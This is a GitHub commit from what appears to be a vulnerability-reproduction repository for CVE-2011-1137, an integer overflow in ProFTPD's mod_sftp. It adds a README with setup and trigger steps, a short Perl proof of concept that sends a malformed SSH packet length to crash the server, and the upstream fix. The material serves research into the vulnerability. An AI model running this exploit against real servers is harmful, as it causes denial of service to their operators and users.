Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1f42761
commit 16466f7
Showing
4 changed files
with
207 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,19 +1,50 @@ | ||
# CVE/EDB ID | ||
# CVE-2011-1137 | ||
|
||
## Experiment Environment | ||
|
||
CentOS 6.5 | ||
|
||
## INSTALL & Configuration | ||
|
||
``` | ||
tar -xvf proftpd-1.3.3d.tar.gz | ||
cd proftpd-1.3.3d | ||
./configure --with-modules=mod_sftp | ||
make | ||
sudo make install | ||
``` | ||
|
||
## Problems in Installation & Configuration | ||
|
||
|
||
## How to trigger vulnerability | ||
|
||
Server: | ||
|
||
``` | ||
sudo /usr/local/sbin/proftpd | ||
``` | ||
|
||
Client: | ||
|
||
``` | ||
perl exploit.pl | ||
``` | ||
|
||
## PoCs | ||
|
||
[ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC)](https://www.exploit-db.com/exploits/16129/) | ||
|
||
[ProFTPD 'mod_sftp' Module Integer Overflow Vulnerability](https://www.securityfocus.com/bid/46183/exploit) | ||
|
||
## Vulnerability Details & Patch | ||
|
||
### Root Cause | ||
|
||
### Stack Trace | ||
|
||
### Patch | ||
|
||
Details are in the file - sftp-max-payload-len-bug3586.patch. | ||
|
||
## References |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
use IO::Socket; | ||
|
||
$|=1; | ||
|
||
$pl = "\x53\x53\x48\x2D\x32\x2E\x30\x2D\x31\x2E\x32\x37\x20\x73\x73\x68\x6C\x69\x62\x3A\x20\x57\x69\x6E\x53\x53". | ||
"\x48\x44\x20\x33\x2E\x30\x35\x0D\x0A\x80\xff\xff\xff" . "AAAAAAAAAA"; | ||
|
||
my $sock = IO::Socket::INET->new(PeerAddr => "127.0.0.1", | ||
PeerPort => '21', | ||
Proto => 'tcp'); | ||
|
||
read($sock, $xp, 10); | ||
#$x = <stdin>; | ||
print $sock $pl; | ||
exit; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,159 @@ | ||
Index: contrib/mod_sftp/mod_sftp.c | ||
=================================================================== | ||
RCS file: /cvsroot/proftp/proftpd/contrib/mod_sftp/mod_sftp.c,v | ||
retrieving revision 1.42 | ||
diff -u -r1.42 mod_sftp.c | ||
--- contrib/mod_sftp/mod_sftp.c 15 Dec 2010 00:58:59 -0000 1.42 | ||
+++ contrib/mod_sftp/mod_sftp.c 25 Jan 2011 01:58:01 -0000 | ||
@@ -85,12 +85,12 @@ | ||
memset(buf, '\0', sizeof(buf)); | ||
|
||
for (i = 0; i < sizeof(buf) - 1; i++) { | ||
- res = sftp_ssh2_packet_sock_read(conn->rfd, &buf[i], 1); | ||
+ res = sftp_ssh2_packet_sock_read(conn->rfd, &buf[i], 1, 0); | ||
while (res <= 0) { | ||
if (errno == EINTR) { | ||
pr_signals_handle(); | ||
|
||
- res = sftp_ssh2_packet_sock_read(conn->rfd, &buf[i], 1); | ||
+ res = sftp_ssh2_packet_sock_read(conn->rfd, &buf[i], 1, 0); | ||
continue; | ||
} | ||
|
||
Index: contrib/mod_sftp/packet.c | ||
=================================================================== | ||
RCS file: /cvsroot/proftp/proftpd/contrib/mod_sftp/packet.c,v | ||
retrieving revision 1.22 | ||
diff -u -r1.22 packet.c | ||
--- contrib/mod_sftp/packet.c 16 Dec 2010 21:31:16 -0000 1.22 | ||
+++ contrib/mod_sftp/packet.c 25 Jan 2011 01:58:01 -0000 | ||
@@ -46,6 +46,12 @@ | ||
static uint32_t packet_client_seqno = 0; | ||
static uint32_t packet_server_seqno = 0; | ||
|
||
+/* Maximum length of the payload data of an SSH2 packet we're willing to | ||
+ * accept. Any packets reporting a payload length longer than this will be | ||
+ * ignored/dropped. | ||
+ */ | ||
+#define SFTP_PACKET_MAX_PAYLOAD_LEN (256 * 1024) | ||
+ | ||
/* RFC4344 recommends 2^31 for the client packet sequence number at which | ||
* we should request a rekey, and 2^32 for the server packet sequence number. | ||
* | ||
@@ -169,7 +175,8 @@ | ||
* It is the caller's responsibility to ensure that buf is large enough to | ||
* hold reqlen bytes. | ||
*/ | ||
-int sftp_ssh2_packet_sock_read(int sockfd, void *buf, size_t reqlen) { | ||
+int sftp_ssh2_packet_sock_read(int sockfd, void *buf, size_t reqlen, | ||
+ int flags) { | ||
void *ptr; | ||
size_t remainlen; | ||
|
||
@@ -252,6 +259,13 @@ | ||
if (res == remainlen) | ||
break; | ||
|
||
+ if (flags & SFTP_PACKET_READ_FL_PESSIMISTIC) { | ||
+ pr_trace_msg(trace_channel, 20, "read %lu bytes, expected %lu bytes; " | ||
+ "pessimistically returning", (unsigned long) res, | ||
+ (unsigned long) remainlen); | ||
+ break; | ||
+ } | ||
+ | ||
pr_trace_msg(trace_channel, 20, "read %lu bytes, expected %lu bytes; " | ||
"reading more", (unsigned long) res, (unsigned long) remainlen); | ||
ptr = ((char *) ptr + res); | ||
@@ -477,7 +491,12 @@ | ||
(unsigned long) buflen); | ||
|
||
if (buflen > 0) { | ||
- sftp_ssh2_packet_sock_read(sockfd, buf, buflen); | ||
+ int flags = SFTP_PACKET_READ_FL_PESSIMISTIC; | ||
+ | ||
+ /* We don't necessary want to wait for the entire random amount of data | ||
+ * to be read in. | ||
+ */ | ||
+ sftp_ssh2_packet_sock_read(sockfd, buf, buflen, flags); | ||
} | ||
|
||
return; | ||
@@ -497,7 +516,7 @@ | ||
* how many more bytes there are in the packet. | ||
*/ | ||
|
||
- res = sftp_ssh2_packet_sock_read(sockfd, buf, blocksz); | ||
+ res = sftp_ssh2_packet_sock_read(sockfd, buf, blocksz, 0); | ||
if (res < 0) | ||
return res; | ||
|
||
@@ -555,8 +574,26 @@ | ||
if (payload_len + padding_len == 0) | ||
return 0; | ||
|
||
- if (payload_len > 0) | ||
+ if (payload_len > 0) { | ||
+ /* We don't want to reject the packet outright yet; but we can ignore | ||
+ * the payload data we're going to read in. This packet will fail | ||
+ * eventually anyway. | ||
+ */ | ||
+ if (payload_len > SFTP_PACKET_MAX_PAYLOAD_LEN) { | ||
+ pr_trace_msg(trace_channel, 20, | ||
+ "payload len (%lu bytes) exceeds max payload len (%lu), " | ||
+ "ignoring payload", (unsigned long) payload_len, | ||
+ (unsigned long) SFTP_PACKET_MAX_PAYLOAD_LEN); | ||
+ | ||
+ pr_log_writefile(sftp_logfd, MOD_SFTP_VERSION, | ||
+ "client sent buggy/malicious packet payload length, ignoring"); | ||
+ | ||
+ errno = EPERM; | ||
+ return -1; | ||
+ } | ||
+ | ||
pkt->payload = pcalloc(pkt->pool, payload_len); | ||
+ } | ||
|
||
/* If there's data in the buffer we received, it's probably already part | ||
* of the payload, unencrypted. That will leave the remaining payload | ||
@@ -617,7 +654,7 @@ | ||
return -1; | ||
} | ||
|
||
- res = sftp_ssh2_packet_sock_read(sockfd, buf + *offset, data_len); | ||
+ res = sftp_ssh2_packet_sock_read(sockfd, buf + *offset, data_len, 0); | ||
if (res < 0) { | ||
return res; | ||
} | ||
@@ -645,7 +682,7 @@ | ||
if (mac_len == 0) | ||
return 0; | ||
|
||
- res = sftp_ssh2_packet_sock_read(sockfd, buf, mac_len); | ||
+ res = sftp_ssh2_packet_sock_read(sockfd, buf, mac_len, 0); | ||
if (res < 0) | ||
return res; | ||
|
||
Index: contrib/mod_sftp/packet.h | ||
=================================================================== | ||
RCS file: /cvsroot/proftp/proftpd/contrib/mod_sftp/packet.h,v | ||
retrieving revision 1.4 | ||
diff -u -r1.4 packet.h | ||
--- contrib/mod_sftp/packet.h 15 Sep 2010 17:29:51 -0000 1.4 | ||
+++ contrib/mod_sftp/packet.h 25 Jan 2011 01:58:01 -0000 | ||
@@ -78,7 +78,15 @@ | ||
int sftp_ssh2_packet_get_last_sent(time_t *); | ||
|
||
int sftp_ssh2_packet_read(int, struct ssh2_packet *); | ||
-int sftp_ssh2_packet_sock_read(int, void *, size_t); | ||
+int sftp_ssh2_packet_sock_read(int, void *, size_t, int); | ||
+ | ||
+/* This sftp_ssh2_packet_sock_read() flag is used to tell the function to | ||
+ * read in as many of the requested length of data as it can, but to NOT | ||
+ * keep polling until that length has been acquired (i.e. to read the | ||
+ * requested length pessimistically, assuming that it will not all appear). | ||
+ */ | ||
+#define SFTP_PACKET_READ_FL_PESSIMISTIC 0x001 | ||
+ | ||
int sftp_ssh2_packet_write(int, struct ssh2_packet *); | ||
|
||
int sftp_ssh2_packet_handle(void); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters